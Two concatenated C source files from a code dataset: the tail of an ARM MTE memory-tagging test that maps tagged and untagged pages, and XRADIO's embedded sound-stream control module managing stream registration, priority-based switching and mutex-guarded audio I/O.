perror ("prctl () failed");
return 1;
}
/* Create a mapping that will have PROT_MTE set. */
tagged_ptr = mmap (0, page_sz, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (tagged_ptr == MAP_FAILED)
{
perror ("mmap () failed");
return 1;
}
/* Create another mapping that won't have PROT_MTE set. */
untagged_ptr = mmap (0, page_sz, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (untagged_ptr == MAP_FAILED)
{
perror ("mmap () failed");
return 1;
}
/* Enable MTE on the above anonymous mmap. */
if (mprotect (tagged_ptr, page_sz, PROT_READ | PROT_WRITE | PROT_MTE))
{
perror ("mprotect () failed");
return 1;
}
access_memory (tagged_ptr, untagged_ptr);
return 0;
}
|
the_stack_data/1089103.c | /*
* Copyright (C) 2017 XRADIO TECHNOLOGY CO., LTD. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the
* distribution.
* 3. Neither the name of XRADIO TECHNOLOGY CO., LTD. nor the names of
* its contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifdef __CONFIG_XPLAYER
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "list.h"
#include "sound_log.h"
#include "soundStreamControl.h"
#include "kernel/os/os_mutex.h"
#define SSC_ASSERT(x) do { \
if (!x) { \
printf("sound stream control assertion!<%s, %d>\n", __func__, __LINE__); \
return -1; \
} \
} while (0) \
#define SSC_ASSERT2(x) do { \
if (!x) { \
printf("sound stream control assertion!<%s, %d>\n", __func__, __LINE__); \
return; \
} \
} while (0) \
typedef struct SoundStreamContext {
struct SscPcmConfig config;
OS_Mutex_t mutex;
SoundStreamT *stream;
} SoundStreamContext;
static SoundStreamContext *stream_context = NULL;
struct SoundStreamListS
{
ListT list;
int size;
};
static struct SoundStreamListS streamList;
struct SoundStreamNodeS
{
ListNodeT node;
SoundStreamType type;
SoundStreamPriority priority;
const struct SoundStreamCreatorS *creator;
SoundStreamT *stream;
int create_refs;
int open_refs;
};
int SoundStreamListInit(void)
{
ListInit(&streamList.list);
streamList.size = 0;
return 0;
}
static int SoundStreamRegister(const void *creator, SoundStreamType type, SoundStreamPriority priority)
{
struct SoundStreamNodeS *streamNode;
streamNode = malloc(sizeof(*streamNode));
memset(streamNode, 0, sizeof(*streamNode));
streamNode->creator = (const struct SoundStreamCreatorS *)creator;
streamNode->type = type;
streamNode->priority = priority;
ListAddTail(&streamNode->node, &streamList.list);
streamList.size++;
return 0;
}
extern const struct SoundStreamCreatorS CardStreamCtor;
extern const struct SoundStreamCreatorS ReverbStreamCtor;
int SoundStreamRegisterCard(void)
{
return SoundStreamRegister(&CardStreamCtor, STREAM_TYPE_SOUND_CARD, STREAM_PRIORITY_LEVEL1);
}
int SoundStreamRegisterReverb(void)
{
return SoundStreamRegister(&ReverbStreamCtor, STREAM_TYPE_REVERB_PCM, STREAM_PRIORITY_LEVEL2);
}
static struct SoundStreamNodeS *FindStreamNodeByType(SoundStreamType type)
{
struct SoundStreamNodeS *streamNode;
ListForEachEntry(streamNode, &streamList.list, node) {
if (streamNode->type == type) {
return streamNode;
}
}
return NULL;
}
static int FindCreateRefsByType(SoundStreamType type)
{
struct SoundStreamNodeS *streamNode;
ListForEachEntry(streamNode, &streamList.list, node) {
if (streamNode->type == type) {
return streamNode->create_refs;
}
}
return 0;
}
static int FindOpenRefsByType(SoundStreamType type)
{
struct SoundStreamNodeS *streamNode;
ListForEachEntry(streamNode, &streamList.list, node) {
if (streamNode->type == type) {
return streamNode->open_refs;
}
}
return 0;
}
static int AllSoundStreamIsDestroyed()
{
struct SoundStreamNodeS *streamNode;
ListForEachEntry(streamNode, &streamList.list, node) {
if (streamNode->create_refs != 0) {
return 0;
}
}
return 1;
}
static SoundStreamT *FindCurrentSoundStream(void)
{
SoundStreamT *stream = NULL;
SoundStreamPriority priority = 0;
struct SoundStreamNodeS *streamNode;
ListForEachEntry(streamNode, &streamList.list, node) {
if (streamNode->open_refs != 0) {
if (streamNode->priority >= priority) {
priority = streamNode->priority;
stream = streamNode->stream;
}
}
}
return stream;
}
static SoundStreamPriority FindCurrentSoundStreamPriority(void)
{
SoundStreamPriority priority = 0;
struct SoundStreamNodeS *streamNode;
ListForEachEntry(streamNode, &streamList.list, node) {
if (streamNode->open_refs != 0) {
if (streamNode->priority >= priority) {
priority = streamNode->priority;
}
}
}
return priority;
}
static int SoundStreamCreate(SoundStreamType type)
{
struct SoundStreamNodeS *streamNode;
streamNode = FindStreamNodeByType(type);
if (streamNode == NULL) {
SND_LOGE("unsupport type(%d)\n", type);
return -1;
}
streamNode->create_refs++;
if (streamNode->create_refs > 1) {
return 0; /* there is no need to create it more than one time */
}
streamNode->stream = streamNode->creator->create();
if (streamNode->stream == NULL) {
SND_LOGE("create stream fail, type(%d)\n", type);
streamNode->create_refs--;
return -1;
}
return 0;
}
static int SoundStreamDestroy(SoundStreamType type)
{
struct SoundStreamNodeS *streamNode;
streamNode = FindStreamNodeByType(type);
if (streamNode == NULL) {
SND_LOGE("unsupport type(%d)\n", type);
return -1;
}
streamNode->create_refs--;
if (streamNode->create_refs != 0) {
return 0;
}
streamNode->creator->destroy(streamNode->stream);
streamNode->stream = NULL;
return 0;
}
static int SoundStreamSelectOpen(SoundStreamType type)
{
int ret;
SoundStreamT *stream;
SoundStreamPriority priority;
struct SoundStreamNodeS *streamNode;
stream = FindCurrentSoundStream();
priority = FindCurrentSoundStreamPriority();
streamNode = FindStreamNodeByType(type);
if (streamNode == NULL) {
SND_LOGE("unsupport type(%d)\n", type);
return -1;
}
streamNode->open_refs++;
if (streamNode->open_refs > 1) {
return 0;
}
/*
* if priority of new stream is lower than priority of current stream,
* we do nothing just return
* else, we will open new stream, and close current stream.
*/
if (streamNode->priority < priority) {
return 0;
}
ret = SoundStreamOpen(streamNode->stream);
if (ret) {
streamNode->open_refs--;
SND_LOGE("open sound stream fail. type(%d)\n", type);
return -1;
}
if (stream) {
SoundStreamClose(stream);
}
return 0;
}
static int SoundStreamSelectClose(SoundStreamType type)
{
SoundStreamT *stream;
SoundStreamPriority priority;
struct SoundStreamNodeS *streamNode;
streamNode = FindStreamNodeByType(type);
if (streamNode == NULL) {
SND_LOGE("unsupport type(%d)\n", type);
return -1;
}
streamNode->open_refs--;
if (streamNode->open_refs != 0) {
return 0;
}
priority = FindCurrentSoundStreamPriority();
/* if priority of closing stream is not highest in opened list,
* we will do nothing just return
* else, we will close this stream, and find a stream to open if we can.
*/
if (streamNode->priority < priority) {
return 0; /* we will not close this stream, because this stream is not using, which mean not opened */
}
SoundStreamClose(streamNode->stream);
stream = FindCurrentSoundStream();
if (stream) {
SoundStreamOpen(stream);
}
return 0;
}
static int SoundStreamControl(SoundStreamType type, SoundStreamCmd cmd, void *param)
{
struct SoundStreamNodeS *streamNode;
streamNode = FindStreamNodeByType(type);
return SoundStreamIoctl(streamNode->stream, cmd, param);
}
static SoundStreamContext *snd_stream_context_create()
{
SoundStreamContext *context;
context = (SoundStreamContext *)malloc(sizeof(SoundStreamContext));
if (context == NULL) {
SND_LOGE("malloc fail.\n");
return NULL;
}
memset(context, 0, sizeof(SoundStreamContext));
OS_RecursiveMutexCreate(&context->mutex);
stream_context = context;
return context;
}
static void snd_stream_context_destroy(SoundStreamContext *context)
{
OS_RecursiveMutexDelete(&context->mutex);
free(context);
stream_context = NULL;
}
SoundStreamCtrl snd_stream_create(SoundStreamType type)
{
int ret;
SoundStreamContext *context = stream_context;
if (AllSoundStreamIsDestroyed()) {
context = snd_stream_context_create();
if (context == NULL) {
return NULL;
}
}
ret = SoundStreamCreate(type);
if (ret && AllSoundStreamIsDestroyed()) {
snd_stream_context_destroy(context);
context = NULL;
}
return (SoundStreamCtrl)context;
}
void snd_stream_destroy(SoundStreamCtrl ssc, SoundStreamType type)
{
SoundStreamContext *context = stream_context;
SSC_ASSERT2(FindCreateRefsByType(type) != 0);
SoundStreamDestroy(type);
if (AllSoundStreamIsDestroyed()) {
snd_stream_context_destroy(context);
}
}
int snd_stream_open(SoundStreamCtrl ssc, SoundStreamType type)
{
int ret = 0;
SoundStreamContext *context = ssc;
SSC_ASSERT(FindCreateRefsByType(type) != 0);
OS_RecursiveMutexLock(&context->mutex, OS_WAIT_FOREVER);
ret = SoundStreamSelectOpen(type);
context->stream = FindCurrentSoundStream();
OS_RecursiveMutexUnlock(&context->mutex);
return ret;
}
int snd_stream_close(SoundStreamCtrl ssc, SoundStreamType type)
{
int ret = 0;
SoundStreamContext *context = ssc;
SSC_ASSERT(FindOpenRefsByType(type) != 0);
OS_RecursiveMutexLock(&context->mutex, OS_WAIT_FOREVER);
ret = SoundStreamSelectClose(type);
context->stream = FindCurrentSoundStream();
OS_RecursiveMutexUnlock(&context->mutex);
return ret;
}
int snd_stream_flush(SoundStreamCtrl ssc, SoundStreamType type)
{
int ret = 0;
SoundStreamContext *context = ssc;
SSC_ASSERT(FindOpenRefsByType(type) != 0);
OS_RecursiveMutexLock(&context->mutex, OS_WAIT_FOREVER);
ret = SoundStreamFlush(context->stream);
OS_RecursiveMutexUnlock(&context->mutex);
return ret;
}
int snd_stream_write(SoundStreamCtrl ssc, SoundStreamType type, void* pData, int nDataSize)
{
int ret = 0;
SoundStreamContext *context = ssc;
SSC_ASSERT(FindOpenRefsByType(type) != 0);
/* can not lock SoundStreamWrite, because it may block, which case dead lock */
ret = SoundStreamWrite(context->stream, &(context->config), pData, nDataSize);
return ret;
}
int snd_stream_read(SoundStreamCtrl ssc, SoundStreamType type, void* pData, int nDataSize)
{
int ret = 0;
SoundStreamContext *context = ssc;
SSC_ASSERT(FindOpenRefsByType(type) != 0);
OS_RecursiveMutexLock(&context->mutex, OS_WAIT_FOREVER);
ret = SoundStreamRead(context->stream, pData, nDataSize);
OS_RecursiveMutexUnlock(&context->mutex);
return ret;
}
int snd_stream_control(SoundStreamCtrl ssc, SoundStreamType type, SoundStreamCmd cmd, void *param)
{
SoundStreamContext *context = ssc;
SSC_ASSERT(FindCreateRefsByType(type) != 0);
OS_RecursiveMutexLock(&context->mutex, OS_WAIT_FOREVER);
if (cmd == STREAM_CMD_SET_CONFIG) {
struct SscPcmConfig *config = (struct SscPcmConfig *)param;
context->config.channels = config->channels;
context->config.rate = config->rate;
}
SoundStreamControl(type, cmd, param);
OS_RecursiveMutexUnlock(&context->mutex);
return 0;
}
#endif |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.